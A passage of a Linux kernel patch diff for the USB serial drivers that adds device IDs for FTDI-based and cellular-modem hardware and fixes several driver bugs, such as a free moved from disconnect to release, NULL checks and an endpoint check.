USB_DEVICE(XSENS_VID, XSENS_CONVERTER_PID) }, + { USB_DEVICE(XSENS_VID, XSENS_MTDEVBOARD_PID) }, + { USB_DEVICE(XSENS_VID, XSENS_MTW_PID) }, { USB_DEVICE(FTDI_VID, FTDI_OMNI1509) }, { USB_DEVICE(MOBILITY_VID, MOBILITY_USB_SERIAL_PID) }, { USB_DEVICE(FTDI_VID, FTDI_ACTIVE_ROBOTS_PID) }, @@ -741,6 +786,7 @@ static struct usb_device_id id_table_combined [] = { { USB_DEVICE(FTDI_VID, FTDI_NDI_AURORA_SCU_PID), .driver_info = (kernel_ulong_t)&ftdi_NDI_device_quirk }, { USB_DEVICE(TELLDUS_VID, TELLDUS_TELLSTICK_PID) }, + { USB_DEVICE(NOVITUS_VID, NOVITUS_BONO_E_PID) }, { USB_DEVICE(RTSYSTEMS_VID, RTSYSTEMS_USB_S03_PID) }, { USB_DEVICE(RTSYSTEMS_VID, RTSYSTEMS_USB_59_PID) }, { USB_DEVICE(RTSYSTEMS_VID, RTSYSTEMS_USB_57A_PID) }, @@ -775,6 +821,8 @@ static struct usb_device_id id_table_combined [] = { { USB_DEVICE(FTDI_VID, FTDI_ELSTER_UNICOM_PID) }, { USB_DEVICE(FTDI_VID, FTDI_PROPOX_JTAGCABLEII_PID) }, { USB_DEVICE(FTDI_VID, FTDI_PROPOX_ISPCABLEIII_PID) }, + { USB_DEVICE(FTDI_VID, CYBER_CORTEX_AV_PID), + .driver_info = (kernel_ulong_t)&ftdi_jtag_quirk }, { USB_DEVICE(OLIMEX_VID, OLIMEX_ARM_USB_OCD_PID), .driver_info = (kernel_ulong_t)&ftdi_jtag_quirk }, { USB_DEVICE(OLIMEX_VID, OLIMEX_ARM_USB_OCD_H_PID), @@ -792,6 +840,7 @@ static struct usb_device_id id_table_combined [] = { { USB_DEVICE(FTDI_VID, FTDI_TURTELIZER_PID), .driver_info = (kernel_ulong_t)&ftdi_jtag_quirk }, { USB_DEVICE(RATOC_VENDOR_ID, RATOC_PRODUCT_ID_USB60F) }, + { USB_DEVICE(RATOC_VENDOR_ID, RATOC_PRODUCT_ID_SCU18) }, { USB_DEVICE(FTDI_VID, FTDI_REU_TINY_PID) }, /* Papouch devices based on FTDI chip */ @@ -948,6 +997,8 @@ static struct usb_device_id id_table_combined [] = { { USB_DEVICE(BRAINBOXES_VID, BRAINBOXES_US_842_2_PID) }, { USB_DEVICE(BRAINBOXES_VID, BRAINBOXES_US_842_3_PID) }, { USB_DEVICE(BRAINBOXES_VID, BRAINBOXES_US_842_4_PID) }, + /* ekey Devices */ + { USB_DEVICE(FTDI_VID, FTDI_EKEY_CONV_USB_PID) }, /* Infineon Devices */ { USB_DEVICE_INTERFACE_NUMBER(INFINEON_VID, INFINEON_TRIBOARD_PID, 1) }, { }, /* Optional parameter entry */ @@ -1855,8 +1906,12 @@ static int ftdi_8u2232c_probe(struct usb_serial *serial) { struct usb_device *udev = serial->dev; - if ((udev->manufacturer && !strcmp(udev->manufacturer, "CALAO Systems")) || - (udev->product && !strcmp(udev->product, "BeagleBone/XDS100V2"))) + if (udev->manufacturer && !strcmp(udev->manufacturer, "CALAO Systems")) + return ftdi_jtag_probe(serial); + + if (udev->product && + (!strcmp(udev->product, "BeagleBone/XDS100V2") || + !strcmp(udev->product, "SNAP Connect E10"))) return ftdi_jtag_probe(serial); return 0; diff --git a/drivers/usb/serial/ftdi_sio_ids.h b/drivers/usb/serial/ftdi_sio_ids.h index c4777bc6aee01..3eff1d6a2b179 100644 --- a/drivers/usb/serial/ftdi_sio_ids.h +++ b/drivers/usb/serial/ftdi_sio_ids.h @@ -30,8 +30,17 @@ /*** third-party PIDs (using FTDI_VID) ***/ +/* + * Certain versions of the official Windows FTDI driver reprogrammed + * counterfeit FTDI devices to PID 0. Support these devices anyway. + */ +#define FTDI_BRICK_PID 0x0000 + #define FTDI_LUMEL_PD12_PID 0x6002 +/* Cyber Cortex AV by Fabulous Silicon (http://fabuloussilicon.com) */ +#define CYBER_CORTEX_AV_PID 0x8698 + /* * Marvell OpenRD Base, Client * http://www.open-rd.org @@ -42,6 +51,8 @@ /* www.candapter.com Ewert Energy Systems CANdapter device */ #define FTDI_CANDAPTER_PID 0x9F80 /* Product Id */ +#define FTDI_BM_ATOM_NANO_PID 0xa559 /* Basic Micro ATOM Nano USB2Serial */ + /* * Texas Instruments XDS100v2 JTAG / BeagleBone A3 * http://processors.wiki.ti.com/index.php/XDS100 @@ -140,12 +151,20 @@ /* * Xsens Technologies BV products (http://www.xsens.com). */ -#define XSENS_CONVERTER_0_PID 0xD388 -#define XSENS_CONVERTER_1_PID 0xD389 +#define XSENS_VID 0x2639 +#define XSENS_AWINDA_STATION_PID 0x0101 +#define XSENS_AWINDA_DONGLE_PID 0x0102 +#define XSENS_MTW_PID 0x0200 /* Xsens MTw */ +#define XSENS_MTDEVBOARD_PID 0x0300 /* Motion Tracker Development Board */ +#define XSENS_CONVERTER_PID 0xD00D /* Xsens USB-serial converter */ + +/* Xsens devices using FTDI VID */ +#define XSENS_CONVERTER_0_PID 0xD388 /* Xsens USB converter */ +#define XSENS_CONVERTER_1_PID 0xD389 /* Xsens Wireless Receiver */ #define XSENS_CONVERTER_2_PID 0xD38A -#define XSENS_CONVERTER_3_PID 0xD38B -#define XSENS_CONVERTER_4_PID 0xD38C -#define XSENS_CONVERTER_5_PID 0xD38D +#define XSENS_CONVERTER_3_PID 0xD38B /* Xsens USB-serial converter */ +#define XSENS_CONVERTER_4_PID 0xD38C /* Xsens Wireless Receiver */ +#define XSENS_CONVERTER_5_PID 0xD38D /* Xsens Awinda Station */ #define XSENS_CONVERTER_6_PID 0xD38E #define XSENS_CONVERTER_7_PID 0xD38F @@ -543,6 +562,20 @@ */ #define FTDI_NT_ORIONLXM_PID 0x7c90 /* OrionLXm Substation Automation Platform */ +/* + * Synapse Wireless product ids (FTDI_VID) + * http://www.synapse-wireless.com + */ +#define FTDI_SYNAPSE_SS200_PID 0x9090 /* SS200 - SNAP Stick 200 */ + +/* + * CustomWare / ShipModul NMEA multiplexers product ids (FTDI_VID) + */ +#define FTDI_CUSTOMWARE_MINIPLEX_PID 0xfd48 /* MiniPlex first generation NMEA Multiplexer */ +#define FTDI_CUSTOMWARE_MINIPLEX2_PID 0xfd49 /* MiniPlex-USB and MiniPlex-2 series */ +#define FTDI_CUSTOMWARE_MINIPLEX2WI_PID 0xfd4a /* MiniPlex-2Wi */ +#define FTDI_CUSTOMWARE_MINIPLEX3_PID 0xfd4b /* MiniPlex-3 series */ + /********************************/ /** third-party VID/PID combos **/ @@ -582,6 +615,7 @@ */ #define RATOC_VENDOR_ID 0x0584 #define RATOC_PRODUCT_ID_USB60F 0xb020 +#define RATOC_PRODUCT_ID_SCU18 0xb03a /* * Infineon Technologies @@ -831,6 +865,12 @@ #define TELLDUS_VID 0x1781 /* Vendor ID */ #define TELLDUS_TELLSTICK_PID 0x0C30 /* RF control dongle 433 MHz using FT232RL */ +/* + * NOVITUS printers + */ +#define NOVITUS_VID 0x1a28 +#define NOVITUS_BONO_E_PID 0x6010 + /* * RT Systems programming cables for various ham radios */ @@ -905,8 +945,8 @@ #define BAYER_CONTOUR_CABLE_PID 0x6001 /* - * The following are the values for the Matrix Orbital FTDI Range - * Anything in this range will use an FT232RL. + * Matrix Orbital Intelligent USB displays. + * http://www.matrixorbital.com */ #define MTXORB_VID 0x1B3D #define MTXORB_FTDI_RANGE_0100_PID 0x0100 @@ -1165,8 +1205,39 @@ #define MTXORB_FTDI_RANGE_01FD_PID 0x01FD #define MTXORB_FTDI_RANGE_01FE_PID 0x01FE #define MTXORB_FTDI_RANGE_01FF_PID 0x01FF - - +#define MTXORB_FTDI_RANGE_4701_PID 0x4701 +#define MTXORB_FTDI_RANGE_9300_PID 0x9300 +#define MTXORB_FTDI_RANGE_9301_PID 0x9301 +#define MTXORB_FTDI_RANGE_9302_PID 0x9302 +#define MTXORB_FTDI_RANGE_9303_PID 0x9303 +#define MTXORB_FTDI_RANGE_9304_PID 0x9304 +#define MTXORB_FTDI_RANGE_9305_PID 0x9305 +#define MTXORB_FTDI_RANGE_9306_PID 0x9306 +#define MTXORB_FTDI_RANGE_9307_PID 0x9307 +#define MTXORB_FTDI_RANGE_9308_PID 0x9308 +#define MTXORB_FTDI_RANGE_9309_PID 0x9309 +#define MTXORB_FTDI_RANGE_930A_PID 0x930A +#define MTXORB_FTDI_RANGE_930B_PID 0x930B +#define MTXORB_FTDI_RANGE_930C_PID 0x930C +#define MTXORB_FTDI_RANGE_930D_PID 0x930D +#define MTXORB_FTDI_RANGE_930E_PID 0x930E +#define MTXORB_FTDI_RANGE_930F_PID 0x930F +#define MTXORB_FTDI_RANGE_9310_PID 0x9310 +#define MTXORB_FTDI_RANGE_9311_PID 0x9311 +#define MTXORB_FTDI_RANGE_9312_PID 0x9312 +#define MTXORB_FTDI_RANGE_9313_PID 0x9313 +#define MTXORB_FTDI_RANGE_9314_PID 0x9314 +#define MTXORB_FTDI_RANGE_9315_PID 0x9315 +#define MTXORB_FTDI_RANGE_9316_PID 0x9316 +#define MTXORB_FTDI_RANGE_9317_PID 0x9317 +#define MTXORB_FTDI_RANGE_9318_PID 0x9318 +#define MTXORB_FTDI_RANGE_9319_PID 0x9319 +#define MTXORB_FTDI_RANGE_931A_PID 0x931A +#define MTXORB_FTDI_RANGE_931B_PID 0x931B +#define MTXORB_FTDI_RANGE_931C_PID 0x931C +#define MTXORB_FTDI_RANGE_931D_PID 0x931D +#define MTXORB_FTDI_RANGE_931E_PID 0x931E +#define MTXORB_FTDI_RANGE_931F_PID 0x931F /* * The Mobility Lab (TML) @@ -1375,3 +1446,8 @@ #define BRAINBOXES_US_160_6_PID 0x9006 /* US-160 16xRS232 1Mbaud Port 11 and 12 */ #define BRAINBOXES_US_160_7_PID 0x9007 /* US-160 16xRS232 1Mbaud Port 13 and 14 */ #define BRAINBOXES_US_160_8_PID 0x9008 /* US-160 16xRS232 1Mbaud Port 15 and 16 */ + +/* + * ekey biometric systems GmbH (http://ekey.net/) + */ +#define FTDI_EKEY_CONV_USB_PID 0xCB08 /* Converter USB */ diff --git a/drivers/usb/serial/generic.c b/drivers/usb/serial/generic.c index 8335b484f14e3..a10648d2596bd 100644 --- a/drivers/usb/serial/generic.c +++ b/drivers/usb/serial/generic.c @@ -261,7 +261,8 @@ void usb_serial_generic_wait_until_sent(struct tty_struct *tty, long timeout) * character or at least one jiffy. */ period = max_t(unsigned long, (10 * HZ / bps), 1); - period = min_t(unsigned long, period, timeout); + if (timeout) + period = min_t(unsigned long, period, timeout); dev_dbg(&port->dev, "%s - timeout = %u ms, period = %u ms\n", __func__, jiffies_to_msecs(timeout), @@ -271,7 +272,7 @@ void usb_serial_generic_wait_until_sent(struct tty_struct *tty, long timeout) schedule_timeout_interruptible(period); if (signal_pending(current)) break; - if (time_after(jiffies, expire)) + if (timeout && time_after(jiffies, expire)) break; } } diff --git a/drivers/usb/serial/io_edgeport.c b/drivers/usb/serial/io_edgeport.c index 1477e8593476d..c574d312f1f53 100644 --- a/drivers/usb/serial/io_edgeport.c +++ b/drivers/usb/serial/io_edgeport.c @@ -2988,16 +2988,9 @@ static void edge_disconnect(struct usb_serial *serial) { struct edgeport_serial *edge_serial = usb_get_serial_data(serial); - /* stop reads and writes on all ports */ - /* free up our endpoint stuff */ if (edge_serial->is_epic) { usb_kill_urb(edge_serial->interrupt_read_urb); - usb_free_urb(edge_serial->interrupt_read_urb); - kfree(edge_serial->interrupt_in_buffer); - usb_kill_urb(edge_serial->read_urb); - usb_free_urb(edge_serial->read_urb); - kfree(edge_serial->bulk_in_buffer); } } @@ -3010,6 +3003,16 @@ static void edge_release(struct usb_serial *serial) { struct edgeport_serial *edge_serial = usb_get_serial_data(serial); + if (edge_serial->is_epic) { + usb_kill_urb(edge_serial->interrupt_read_urb); + usb_free_urb(edge_serial->interrupt_read_urb); + kfree(edge_serial->interrupt_in_buffer); + + usb_kill_urb(edge_serial->read_urb); + usb_free_urb(edge_serial->read_urb); + kfree(edge_serial->bulk_in_buffer); + } + kfree(edge_serial); } diff --git a/drivers/usb/serial/ipaq.c b/drivers/usb/serial/ipaq.c index 76c9a847da5dd..e03900e8c667e 100644 --- a/drivers/usb/serial/ipaq.c +++ b/drivers/usb/serial/ipaq.c @@ -532,7 +532,8 @@ static int ipaq_open(struct tty_struct *tty, * through. Since this has a reasonably high failure rate, we retry * several times. */ - while (retries--) { + while (retries) { + retries--; result = usb_control_msg(serial->dev, usb_sndctrlpipe(serial->dev, 0), 0x22, 0x21, 0x1, 0, NULL, 0, 100); diff --git a/drivers/usb/serial/keyspan.c b/drivers/usb/serial/keyspan.c index 07fbdf0e7ab66..32a67c69eec80 100644 --- a/drivers/usb/serial/keyspan.c +++ b/drivers/usb/serial/keyspan.c @@ -308,24 +308,30 @@ static void usa26_indat_callback(struct urb *urb) if ((data[0] & 0x80) == 0) { /* no errors on individual bytes, only possible overrun err */ - if (data[0] & RXERROR_OVERRUN) - err = TTY_OVERRUN; - else - err = 0; + if (data[0] & RXERROR_OVERRUN) { + tty_insert_flip_char(&port->port, 0, + TTY_OVERRUN); + } for (i = 1; i < urb->actual_length ; ++i) - tty_insert_flip_char(&port->port, data[i], err); + tty_insert_flip_char(&port->port, data[i], + TTY_NORMAL); } else { /* some bytes had errors, every byte has status */ dev_dbg(&port->dev, "%s - RX error!!!!\n", __func__); for (i = 0; i + 1 < urb->actual_length; i += 2) { - int stat = data[i], flag = 0; - if (stat & RXERROR_OVERRUN) - flag |= TTY_OVERRUN; - if (stat & RXERROR_FRAMING) - flag |= TTY_FRAME; - if (stat & RXERROR_PARITY) - flag |= TTY_PARITY; + int stat = data[i]; + int flag = TTY_NORMAL; + + if (stat & RXERROR_OVERRUN) { + tty_insert_flip_char(&port->port, 0, + TTY_OVERRUN); + } /* XXX should handle break (0x10) */ + if (stat & RXERROR_PARITY) + flag = TTY_PARITY; + else if (stat & RXERROR_FRAMING) + flag = TTY_FRAME; + tty_insert_flip_char(&port->port, data[i+1], flag); } @@ -412,6 +418,8 @@ static void usa26_instat_callback(struct urb *urb) } port = serial->port[msg->port]; p_priv = usb_get_serial_port_data(port); + if (!p_priv) + goto resubmit; /* Update handshaking pin state information */ old_dcd_state = p_priv->dcd_state; @@ -422,7 +430,7 @@ static void usa26_instat_callback(struct urb *urb) if (old_dcd_state != p_priv->dcd_state) tty_port_tty_hangup(&port->port, true); - +resubmit: /* Resubmit urb so we continue receiving */ err = usb_submit_urb(urb, GFP_ATOMIC); if (err != 0) @@ -537,6 +545,8 @@ static void usa28_instat_callback(struct urb *urb) } port = serial->port[msg->port]; p_priv = usb_get_serial_port_data(port); + if (!p_priv) + goto resubmit; /* Update handshaking pin state information */ old_dcd_state = p_priv->dcd_state; @@ -547,7 +557,7 @@ static void usa28_instat_callback(struct urb *urb) if (old_dcd_state != p_priv->dcd_state && old_dcd_state) tty_port_tty_hangup(&port->port, true); - +resubmit: /* Resubmit urb so we continue receiving */ err = usb_submit_urb(urb, GFP_ATOMIC); if (err != 0) @@ -624,6 +634,8 @@ static void usa49_instat_callback(struct urb *urb) } port = serial->port[msg->portNumber]; p_priv = usb_get_serial_port_data(port); + if (!p_priv) + goto resubmit; /* Update handshaking pin state information */ old_dcd_state = p_priv->dcd_state; @@ -634,7 +646,7 @@ static void usa49_instat_callback(struct urb *urb) if (old_dcd_state != p_priv->dcd_state && old_dcd_state) tty_port_tty_hangup(&port->port, true); - +resubmit: /* Resubmit urb so we continue receiving */ err = usb_submit_urb(urb, GFP_ATOMIC); if (err != 0) @@ -672,14 +684,19 @@ static void usa49_indat_callback(struct urb *urb) } else { /* some bytes had errors, every byte has status */ for (i = 0; i + 1 < urb->actual_length; i += 2) { - int stat = data[i], flag = 0; - if (stat & RXERROR_OVERRUN) - flag |= TTY_OVERRUN; - if (stat & RXERROR_FRAMING) - flag |= TTY_FRAME; - if (stat & RXERROR_PARITY) - flag |= TTY_PARITY; + int stat = data[i]; + int flag = TTY_NORMAL; + + if (stat & RXERROR_OVERRUN) { + tty_insert_flip_char(&port->port, 0, + TTY_OVERRUN); + } /* XXX should handle break (0x10) */ + if (stat & RXERROR_PARITY) + flag = TTY_PARITY; + else if (stat & RXERROR_FRAMING) + flag = TTY_FRAME; + tty_insert_flip_char(&port->port, data[i+1], flag); } @@ -736,15 +753,19 @@ static void usa49wg_indat_callback(struct urb *urb) */ for (x = 0; x + 1 < len && i + 1 < urb->actual_length; x += 2) { - int stat = data[i], flag = 0; + int stat = data[i]; + int flag = TTY_NORMAL; - if (stat & RXERROR_OVERRUN) - flag |= TTY_OVERRUN; - if (stat & RXERROR_FRAMING) - flag |= TTY_FRAME; - if (stat & RXERROR_PARITY) - flag |= TTY_PARITY; + if (stat & RXERROR_OVERRUN) { + tty_insert_flip_char(&port->port, 0, + TTY_OVERRUN); + } /* XXX should handle break (0x10) */ + if (stat & RXERROR_PARITY) + flag = TTY_PARITY; + else if (stat & RXERROR_FRAMING) + flag = TTY_FRAME; + tty_insert_flip_char(&port->port, data[i+1], flag); i += 2; @@ -796,25 +817,31 @@ static void usa90_indat_callback(struct urb *urb) if ((data[0] & 0x80) == 0) { /* no errors on individual bytes, only possible overrun err*/ - if (data[0] & RXERROR_OVERRUN) - err = TTY_OVERRUN; - else - err = 0; + if (data[0] & RXERROR_OVERRUN) { + tty_insert_flip_char(&port->port, 0, + TTY_OVERRUN); + } for (i = 1; i < urb->actual_length ; ++i) tty_insert_flip_char(&port->port, - data[i], err); + data[i], TTY_NORMAL); } else { /* some bytes had errors, every byte has status */ dev_dbg(&port->dev, "%s - RX error!!!!\n", __func__); for (i = 0; i + 1 < urb->actual_length; i += 2) { - int stat = data[i], flag = 0; - if (stat & RXERROR_OVERRUN) - flag |= TTY_OVERRUN; - if (stat & RXERROR_FRAMING) - flag |= TTY_FRAME; - if (stat & RXERROR_PARITY) - flag |= TTY_PARITY; + int stat = data[i]; + int flag = TTY_NORMAL; + + if (stat & RXERROR_OVERRUN) { + tty_insert_flip_char( + &port->port, 0, + TTY_OVERRUN); + } /* XXX should handle break (0x10) */ + if (stat & RXERROR_PARITY) + flag = TTY_PARITY; + else if (stat & RXERROR_FRAMING) + flag = TTY_FRAME; + tty_insert_flip_char(&port->port, data[i+1], flag); } @@ -857,6 +884,8 @@ static void usa90_instat_callback(struct urb *urb) port = serial->port[0]; p_priv = usb_get_serial_port_data(port); + if (!p_priv) + goto resubmit; /* Update handshaking pin state information */ old_dcd_state = p_priv->dcd_state; @@ -867,7 +896,7 @@ static void usa90_instat_callback(struct urb *urb) if (old_dcd_state != p_priv->dcd_state && old_dcd_state) tty_port_tty_hangup(&port->port, true); - +resubmit: /* Resubmit urb so we continue receiving */ err = usb_submit_urb(urb, GFP_ATOMIC); if (err != 0) @@ -928,6 +957,8 @@ static void usa67_instat_callback(struct urb *urb) port = serial->port[msg->port]; p_priv = usb_get_serial_port_data(port); + if (!p_priv) + goto resubmit; /* Update handshaking pin state information */ old_dcd_state = p_priv->dcd_state; @@ -936,7 +967,7 @@ static void usa67_instat_callback(struct urb *urb) if (old_dcd_state != p_priv->dcd_state && old_dcd_state) tty_port_tty_hangup(&port->port, true); - +resubmit: /* Resubmit urb so we continue receiving */ err = usb_submit_urb(urb, GFP_ATOMIC); if (err != 0) @@ -2361,6 +2392,10 @@ static void keyspan_release(struct usb_serial *serial) s_priv = usb_get_serial_data(serial); + /* Make sure to unlink the URBs submitted in attach. */ + usb_kill_urb(s_priv->instat_urb); + usb_kill_urb(s_priv->indat_urb); + usb_free_urb(s_priv->instat_urb); usb_free_urb(s_priv->indat_urb); usb_free_urb(s_priv->glocont_urb); diff --git a/drivers/usb/serial/mct_u232.c b/drivers/usb/serial/mct_u232.c index 6a15adf53360f..c14c29ff11510 100644 --- a/drivers/usb/serial/mct_u232.c +++ b/drivers/usb/serial/mct_u232.c @@ -377,14 +377,21 @@ static void mct_u232_msr_to_state(struct usb_serial_port *port, static int mct_u232_port_probe(struct usb_serial_port *port) { + struct usb_serial *serial = port->serial; struct mct_u232_private *priv; + /* check first to simplify error handling */ + if (!serial->port[1] || !serial->port[1]->interrupt_in_urb) { + dev_err(&port->dev, "expected endpoint missing\n"); + return -ENODEV; + } + priv = kzalloc(sizeof(*priv), GFP_KERNEL); if (!priv) return -ENOMEM; /* Use second interrupt-in endpoint for reading. */ - priv->read_urb = port->serial->port[1]->interrupt_in_urb; + priv->read_urb = serial->port[1]->interrupt_in_urb; priv->read_urb->context = port; spin_lock_init(&priv->lock); diff --git a/drivers/usb/serial/opticon.c b/drivers/usb/serial/opticon.c index 5f4b0cd0f6e97..b0eb1dfc601ad 100644 --- a/drivers/usb/serial/opticon.c +++ b/drivers/usb/serial/opticon.c @@ -219,7 +219,7 @@ static int opticon_write(struct tty_struct *tty, struct usb_serial_port *port, /* The conncected devices do not have a bulk write endpoint, * to transmit data to de barcode device the control endpoint is used */ - dr = kmalloc(sizeof(struct usb_ctrlrequest), GFP_NOIO); + dr = kmalloc(sizeof(struct usb_ctrlrequest), GFP_ATOMIC); if (!dr) { dev_err(&port->dev, "out of memory\n"); count = -ENOMEM; diff --git a/drivers/usb/serial/option.c b/drivers/usb/serial/option.c index 9da566a3f5c8a..006a2a721edff 100644 --- a/drivers/usb/serial/option.c +++ b/drivers/usb/serial/option.c @@ -162,6 +162,7 @@ static void option_instat_callback(struct urb *urb); #define NOVATELWIRELESS_PRODUCT_HSPA_EMBEDDED_HIGHSPEED 0x9001 #define NOVATELWIRELESS_PRODUCT_E362 0x9010 #define NOVATELWIRELESS_PRODUCT_E371 0x9011 +#define NOVATELWIRELESS_PRODUCT_U620L 0x9022 #define NOVATELWIRELESS_PRODUCT_G2 0xA010 #define NOVATELWIRELESS_PRODUCT_MC551 0xB001 @@ -268,15 +269,28 @@ static void option_instat_callback(struct urb *urb); #define TELIT_PRODUCT_CC864_SINGLE 0x1006 #define TELIT_PRODUCT_DE910_DUAL 0x1010 #define TELIT_PRODUCT_UE910_V2 0x1012 +#define TELIT_PRODUCT_LE922_USBCFG0 0x1042 +#define TELIT_PRODUCT_LE922_USBCFG3 0x1043 +#define TELIT_PRODUCT_LE922_USBCFG5 0x1045 #define TELIT_PRODUCT_LE920 0x1200 +#define TELIT_PRODUCT_LE910 0x1201 +#define TELIT_PRODUCT_LE910_USBCFG4 0x1206 /* ZTE PRODUCTS */ #define ZTE_VENDOR_ID 0x19d2 #define ZTE_PRODUCT_MF622 0x0001 #define ZTE_PRODUCT_MF628 0x0015 #define ZTE_PRODUCT_MF626 0x0031 -#define ZTE_PRODUCT_MC2718 0xffe8 +#define ZTE_PRODUCT_ZM8620_X 0x0396 +#define ZTE_PRODUCT_ME3620_MBIM 0x0426 +#define ZTE_PRODUCT_ME3620_X 0x1432 +#define ZTE_PRODUCT_ME3620_L 0x1433 #define ZTE_PRODUCT_AC2726 0xfff1 +#define ZTE_PRODUCT_CDMA_TECH 0xfffe +#define ZTE_PRODUCT_AC8710T 0xffff +#define ZTE_PRODUCT_MC2718 0xffe8 +#define ZTE_PRODUCT_AD3812 0xffeb +#define ZTE_PRODUCT_MC2716 0xffed #define BENQ_VENDOR_ID 0x04a5 #define BENQ_PRODUCT_H10 0x4068 @@ -303,6 +317,7 @@ static void option_instat_callback(struct urb *urb); #define TOSHIBA_PRODUCT_G450 0x0d45 #define ALINK_VENDOR_ID 0x1e0e +#define SIMCOM_PRODUCT_SIM7100E 0x9001 /* Yes, ALINK_VENDOR_ID */ #define ALINK_PRODUCT_PH300 0x9100 #define ALINK_PRODUCT_3GU 0x9200 @@ -345,6 +360,7 @@ static void option_instat_callback(struct urb *urb); /* This is the 4G XS Stick W14 a.k.a. Mobilcom Debitel Surf-Stick * * It seems to contain a Qualcomm QSC6240/6290 chipset */ #define FOUR_G_SYSTEMS_PRODUCT_W14 0x9603 +#define FOUR_G_SYSTEMS_PRODUCT_W100 0x9b01 /* iBall 3.5G connect wireless modem */ #define IBALL_3_5G_CONNECT 0x9605 @@ -357,20 +373,25 @@ static void option_instat_callback(struct urb *urb); /* Haier products */ #define HAIER_VENDOR_ID 0x201e +#define HAIER_PRODUCT_CE81B 0x10f8 #define HAIER_PRODUCT_CE100 0x2009 -/* Cinterion (formerly Siemens) products */ -#define SIEMENS_VENDOR_ID 0x0681 -#define CINTERION_VENDOR_ID 0x1e2d +/* Gemalto's Cinterion products (formerly Siemens) */ +#define SIEMENS_VENDOR_ID 0x0681 +#define CINTERION_VENDOR_ID 0x1e2d +#define CINTERION_PRODUCT_HC25_MDMNET 0x0040 #define CINTERION_PRODUCT_HC25_MDM 0x0047 -#define CINTERION_PRODUCT_HC25_MDMNET 0x0040 +#define CINTERION_PRODUCT_HC28_MDMNET 0x004A /* same for HC28J */ #define CINTERION_PRODUCT_HC28_MDM 0x004C -#define CINTERION_PRODUCT_HC28_MDMNET 0x004A /* same for HC28J */ #define CINTERION_PRODUCT_EU3_E 0x0051 #define CINTERION_PRODUCT_EU3_P 0x0052 #define CINTERION_PRODUCT_PH8 0x0053 #define CINTERION_PRODUCT_AHXX 0x0055 #define CINTERION_PRODUCT_PLXX 0x0060 +#define CINTERION_PRODUCT_PH8_2RMNET 0x0082 +#define CINTERION_PRODUCT_PH8_AUDIO 0x0083 +#define CINTERION_PRODUCT_AHXX_2RMNET 0x0084 +#define CINTERION_PRODUCT_AHXX_AUDIO 0x0085 /* Olivetti products */ #define OLIVETTI_VENDOR_ID 0x0b3c @@ -494,6 +515,10 @@ static void option_instat_callback(struct urb *urb); #define INOVIA_VENDOR_ID 0x20a6 #define INOVIA_SEW858 0x1105 +/* VIA Telecom */ +#define VIATELECOM_VENDOR_ID 0x15eb +#define VIATELECOM_PRODUCT_CDS7 0x0001 + /* some devices interfaces need special handling due to a number of reasons */ enum option_blacklist_reason { OPTION_BLACKLIST_NONE = 0, @@ -513,6 +538,11 @@ static const struct option_blacklist_info four_g_w14_blacklist = { .sendsetup = BIT(0) | BIT(1), }; +static const struct option_blacklist_info four_g_w100_blacklist = { + .sendsetup = BIT(1) | BIT(2), + .reserved = BIT(3), +}; + static const struct option_blacklist_info alcatel_x200_blacklist = { .sendsetup = BIT(0) | BIT(1), .reserved = BIT(4), @@ -527,10 +557,30 @@ static const struct option_blacklist_info zte_k3765_z_blacklist = { .reserved = BIT(4), }; +static const struct option_blacklist_info zte_ad3812_z_blacklist = { + .sendsetup = BIT(0) | BIT(1) | BIT(2), +}; + static const struct option_blacklist_info zte_mc2718_z_blacklist = { .sendsetup = BIT(1) | BIT(2) | BIT(3) | BIT(4), }; +static const struct option_blacklist_info zte_mc2716_z_blacklist = { + .sendsetup = BIT(1) | BIT(2) | BIT(3), +}; + +static const struct option_blacklist_info zte_me3620_mbim_blacklist = { + .reserved = BIT(2) | BIT(3) | BIT(4), +}; + +static const struct option_blacklist_info zte_me3620_xl_blacklist = { + .reserved = BIT(3) | BIT(4) | BIT(5), +}; + +static const struct option_blacklist_info zte_zm8620_x_blacklist = { + .reserved = BIT(3) | BIT(4) | BIT(5), +}; + static const struct option_blacklist_info huawei_cdc12_blacklist = { .reserved = BIT(1) | BIT(2), }; @@ -572,11 +622,34 @@ static const struct option_blacklist_info zte_1255_blacklist = { .reserved = BIT(3) | BIT(4), }; +static const struct option_blacklist_info simcom_sim7100e_blacklist = { + .reserved = BIT(5) | BIT(6), +}; + +static const struct option_blacklist_info telit_le910_blacklist = { + .sendsetup = BIT(0), + .reserved = BIT(1) | BIT(2), +}; + static const struct option_blacklist_info telit_le920_blacklist = { .sendsetup = BIT(0), .reserved = BIT(1) | BIT(5), }; +static const struct option_blacklist_info telit_le922_blacklist_usbcfg0 = { + .sendsetup = BIT(2), + .reserved = BIT(0) | BIT(1) | BIT(3), +}; + +static const struct option_blacklist_info telit_le922_blacklist_usbcfg3 = { + .sendsetup = BIT(0), + .reserved = BIT(1) | BIT(2) | BIT(3), +}; + +static const struct option_blacklist_info cinterion_rmnet2_blacklist = { + .reserved = BIT(4) | BIT(5), +}; + static const struct usb_device_id option_ids[] = { { USB_DEVICE(OPTION_VENDOR_ID, OPTION_PRODUCT_COLT) }, { USB_DEVICE(OPTION_VENDOR_ID, OPTION_PRODUCT_RICOLA) }, @@ -1021,6 +1094,7 @@ static const struct usb_device_id option_ids[] = { { USB_DEVICE_AND_INTERFACE_INFO(NOVATELWIRELESS_VENDOR_ID, NOVATELWIRELESS_PRODUCT_MC551, 0xff, 0xff, 0xff) }, { USB_DEVICE_AND_INTERFACE_INFO(NOVATELWIRELESS_VENDOR_ID, NOVATELWIRELESS_PRODUCT_E362, 0xff, 0xff, 0xff) }, { USB_DEVICE_AND_INTERFACE_INFO(NOVATELWIRELESS_VENDOR_ID, NOVATELWIRELESS_PRODUCT_E371, 0xff, 0xff, 0xff) }, + { USB_DEVICE_AND_INTERFACE_INFO(NOVATELWIRELESS_VENDOR_ID, NOVATELWIRELESS_PRODUCT_U620L, 0xff, 0x00, 0x00) }, { USB_DEVICE(AMOI_VENDOR_ID, AMOI_PRODUCT_H01) }, { USB_DEVICE(AMOI_VENDOR_ID, AMOI_PRODUCT_H01A) }, @@ -1070,9 +1144,14 @@ static const struct usb_device_id option_ids[] = { { USB_DEVICE_INTERFACE_CLASS(BANDRICH_VENDOR_ID, BANDRICH_PRODUCT_1012, 0xff) }, { USB_DEVICE(KYOCERA_VENDOR_ID, KYOCERA_PRODUCT_KPC650) }, { USB_DEVICE(KYOCERA_VENDOR_ID, KYOCERA_PRODUCT_KPC680) }, + { USB_DEVICE(QUALCOMM_VENDOR_ID, 0x6000)}, /* ZTE AC8700 */ + { USB_DEVICE_AND_INTERFACE_INFO(QUALCOMM_VENDOR_ID, 